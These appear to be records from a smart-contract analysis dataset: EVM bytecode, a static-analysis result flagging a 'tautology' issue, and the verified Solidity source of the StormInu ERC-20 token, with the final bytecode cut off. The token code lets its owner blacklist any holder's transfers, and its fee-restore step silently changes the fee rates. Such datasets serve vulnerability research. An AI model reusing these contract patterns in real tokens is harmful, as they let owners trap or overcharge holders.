0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a781146101c657806305fec4be146101fb57806306fdde031461021f578063095ea7b3146102a957806318160ddd146102cd578063200f29e3146102f457806323b872dd1461032557806323bb81ae1461034f57806329f317cd146103795780632ff2e9dc1461039a578063313ce567146103af57806342966c68146103c457806366188463146103dc5780636bf51a181461040057806370a0823114610415578063727b40941461043657806379cc67901461046157806383ac44e6146104855780638da5cb5b1461049a57806391e0a5a0146104af57806395d89b41146104d057806396132521146104e5578063a14d427a146104fa578063a9059cbb1461051e578063adabc7f814610542578063b35b26b41461055f578063b6ddcd1414610586578063b895c8131461059b578063bca7a9e2146105bc578063c2944f7a146105d1578063c3858e82146105ff578063d1190b7f14610620578063d73dd6231461063a578063dd62ed3e1461065e578063ec715a3114610685578063f2fde38b1461069a575b600080fd5b3480156101d257600080fd5b506101e7600160a060020a03600435166106bb565b604080519115158252519081900360200190f35b34801561020757600080fd5b506101e7600160a060020a03600435166024356106d0565b34801561022b57600080fd5b506102346107c3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026e578181015183820152602001610256565b50505050905090810190601f16801561029b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b557600080fd5b506101e7600160a060020a0360043516602435610851565b3480156102d957600080fd5b506102e2610876565b60408051918252519081900360200190f35b34801561030057600080fd5b5061030961087c565b60408051600160a060020a039092168252519081900360200190f35b34801561033157600080fd5b506101e7600160a060020a036004358116906024351660443561088b565b34801561035b57600080fd5b506101e7600160a060020a03600435811690602435166044356108f1565b34801561038557600080fd5b506101e7600160a060020a03600435166109f1565b3480156103a657600080fd5b506102e2610a06565b3480156103bb57600080fd5b506102e2610a0c565b3480156103d057600080fd5b506101e7600435610a12565b3480156103e857600080fd5b506101e7600160a060020a0360043516602435610a35565b34801561040c57600080fd5b506101e7610b25565b34801561042157600080fd5b506102e2600160a060020a0360043516610b34565b34801561044257600080fd5b5061044b610b4f565b6040805160ff9092168252519081900360200190f35b34801561046d57600080fd5b506101e7600160a060020a0360043516602435610b5d565b34801561049157600080fd5b50610309610b81565b3480156104a657600080fd5b50610309610b90565b3480156104bb57600080fd5b506101e7600160a060020a0360043516610b9f565b3480156104dc57600080fd5b50610234610c02565b3480156104f157600080fd5b506101e7610c5d565b34801561050657600080fd5b506101e7600160a060020a0360043516602435610c66565b34801561052a57600080fd5b506101e7600160a060020a0360043516602435610d58565b34801561054e57600080fd5b5061055d60ff60043516610dbc565b005b34801561056b57600080fd5b506101e760ff60043516600160a060020a0360243516610e67565b34801561059257600080fd5b50610309610e87565b3480156105a757600080fd5b5061055d600160a060020a0360043516610e96565b3480156105c857600080fd5b5061055d610f0c565b3480156105dd57600080fd5b506101e7600160a060020a0360043581169060ff602435169060443516610f7b565b34801561060b57600080fd5b5061055d600160a060020a0360043516610fee565b34801561062c57600080fd5b5061055d6004351515611062565b34801561064657600080fd5b506101e7600160a060020a03600435166024356110b2565b34801561066a57600080fd5b506102e2600160a060020a036004358116906024351661114b565b34801561069157600080fd5b5061055d611169565b3480156106a657600080fd5b5061055d600160a060020a03600435166111e1565b60076020526000908152604090205460ff1681565b600354600090600160a060020a031633146106ea57600080fd5b600654600160a060020a031660009081526020819052604090205482111561071157600080fd5b600654600160a060020a031660009081526020819052604090205461073c908363ffffffff61126a16565b600654600160a060020a039081166000908152602081905260408082209390935590851681522054610774908363ffffffff61127c16565b600160a060020a03808516600081815260208181526040918290209490945560065481518781529151929493169260008051602061177283398151915292918290030190a35060015b92915050565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108495780601f1061081e57610100808354040283529160200191610849565b820191906000526020600020905b81548152906001019060200180831161082c57829003601f168201915b505050505081565b600d5460009060ff16151561086557600080fd5b61086f8383611289565b9392505050565b60015490565b600654600160a060020a031681565b600d5460009060ff16151561089f57600080fd5b3360008181526007602052604090205460ff1615156108dd57600d5462010000900460ff16156108dd576108d281610b9f565b15156108dd57600080fd5b6108e88585856112ef565b95945050505050565b600160a060020a0383166000908152600c602052604081205460ff16151561091857600080fd5b600454600160a060020a031660009081526020819052604090205482111561093f57600080fd5b600454600160a060020a031660009081526020819052604090205461096a908363ffffffff61126a16565b600454600160a060020a0390811660009081526020819052604080822093909355908516815220546109a2908363ffffffff61127c16565b600160a060020a03808516600081815260208181526040918290209490945560045481518781529151929493169260008051602061177283398151915292918290030190a35060019392505050565b600c6020526000908152604090205460ff1681565b600b5481565b600a5481565b600354600090600160a060020a03163314610a2c57600080fd5b6107bd82611454565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610a8a57336000908152600260209081526040808320600160a060020a0388168452909152812055610abf565b610a9a818463ffffffff61126a16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600d5462010000900460ff1681565b600160a060020a031660009081526020819052604090205490565b600d54610100900460ff1681565b600354600090600160a060020a03163314610b7757600080fd5b61086f83836114f9565b600554600160a060020a031681565b600354600160a060020a031681565b600d546000908190610100900460ff165b600160ff821610610bfb5760ff8082166000908152600e60209081526040808320600160a060020a03891684529091529020541615610bf25760019150610bfb565b60001901610bb0565b5092915050565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108495780601f1061081e57610100808354040283529160200191610849565b600d5460ff1681565b600354600090600160a060020a03163314610c8057600080fd5b600454600160a060020a0316600090815260208190526040902054821115610ca757600080fd5b600454600160a060020a0316600090815260208190526040902054610cd2908363ffffffff61126a16565b600454600160a060020a039081166000908152602081905260408082209390935590851681522054610d0a908363ffffffff61127c16565b600160a060020a03808516600081815260208181526040918290209490945560045481518781529151929493169260008051602061177283398151915292918290030190a350600192915050565b600d5460009060ff161515610d6c57600080fd5b3360008181526007602052604090205460ff161515610daa57600d5462010000900460ff1615610daa57610d9f81610b9f565b1515610daa57600080fd5b610db48484611639565b949350505050565b600354600160a060020a03163314610dd357600080fd5b600d5460ff828116610100909204161415610ded57600080fd5b60008160ff1610158015610e045750600a8160ff16105b1515610e0f57600080fd5b600d805461ff00191661010060ff84169081029190911790915560408051338152602081019290925280517fea37408c7e4e9dbf3edf885fdebdd1bd63255e3c4166aed3f8f6fdb4f13b7aca9281900390910190a150565b600e60209081526000928352604080842090915290825290205460ff1681565b600454600160a060020a031681565b600354600160a060020a03163314610ead57600080fd5b600160a060020a0381161515610ec257600080fd5b600160a060020a0381166000908152600c602052604090205460ff1615610ee857600080fd5b600160a060020a03166000908152600c60205260409020805460ff19166001179055565b600354600160a060020a03163314610f2357600080fd5b600d5460ff161515610f3457600080fd5b600d805460ff19169055604080513381526000602082015281517f0a596822d4f07a73faa602d9879434558cfc027773e50a5ec0e522e0cd00ff24929181900390910190a1565b600160a060020a0383166000908152600c602052604081205460ff161515610fa257600080fd5b600060ff841611610fb257600080fd5b5060ff82166000908152600e60209081526040808320600160a060020a03851684529091529020805460ff191660019081179091559392505050565b600354600160a060020a0316331461100557600080fd5b600160a060020a038116151561101a57600080fd5b600160a060020a0381166000908152600c602052604090205460ff16151561104157600080fd5b600160a060020a03166000908152600c60205260409020805460ff19169055565b600354600160a060020a0316331461107957600080fd5b600d5460ff62010000909104161515811515141561109657600080fd5b600d8054911515620100000262ff000019909216919091179055565b336000908152600260209081526040808320600160a060020a03861684529091528120546110e6908363ffffffff61127c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600d5460009060ff16151561115f57600080fd5b61086f8383611708565b600354600160a060020a0316331461118057600080fd5b600d5460ff161561119057600080fd5b600d805460ff1916600117908190556040805133815260ff929092161515602083015280517f0a596822d4f07a73faa602d9879434558cfc027773e50a5ec0e522e0cd00ff249281900390910190a1565b600354600160a060020a031633146111f857600080fd5b600160a060020a038116151561120d57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691821792839055604051919216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b60008282111561127657fe5b50900390565b818101828110156107bd57fe5b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561130657600080fd5b600160a060020a03841660009081526020819052604090205482111561132b57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561135b57600080fd5b600160a060020a038416600090815260208190526040902054611384908363ffffffff61126a16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546113b9908363ffffffff61127c16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546113fb908363ffffffff61126a16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020611772833981519152929181900390910190a35060019392505050565b3360009081526020819052604081205482111561147057600080fd5b33600090815260208190526040902054611490908363ffffffff61126a16565b336000908152602081905260409020556001546114b3908363ffffffff61126a16565b600155604080513381526020810184905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a1506001919050565b600160a060020a03821660009081526020819052604081205482111561151e57600080fd5b600160a060020a038316600090815260026020908152604080832033845290915290205482111561154e57600080fd5b600160a060020a038316600090815260208190526040902054611577908363ffffffff61126a16565b600160a060020a0384166000908152602081815260408083209390935560028152828220338352905220546115b2908363ffffffff61126a16565b600160a060020a03841660009081526002602090815260408083203384529091529020556001546115e9908363ffffffff61126a16565b60015560408051600160a060020a03851681526020810184905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a150600192915050565b6000600160a060020a038316151561165057600080fd5b3360009081526020819052604090205482111561166c57600080fd5b3360009081526020819052604090205461168c908363ffffffff61126a16565b3360009081526020819052604080822092909255600160a060020a038516815220546116be908363ffffffff61127c16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206117728339815191529281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000821515611744575060006107bd565b5081810281838281151561175457fe5b04146107bd57fe5b6000818381151561176957fe5b0493925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582001f5d03a8765efa8f8c82534c37d6d801f9d08686e88bbc8cd0889402e3aaeb00029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,890
0x1af155f5d81fdd3027d887f269ba27c483f09a2b
/** *Submitted for verification at Etherscan.io on 2022-01-07 */ // TG: https://t.me/storminu // Web: https://storminu.live // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract StormInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "StormInu"; string private constant _symbol = "STORM"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 11; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 30000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600881526020017f53746f726d496e75000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f53544f524d000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff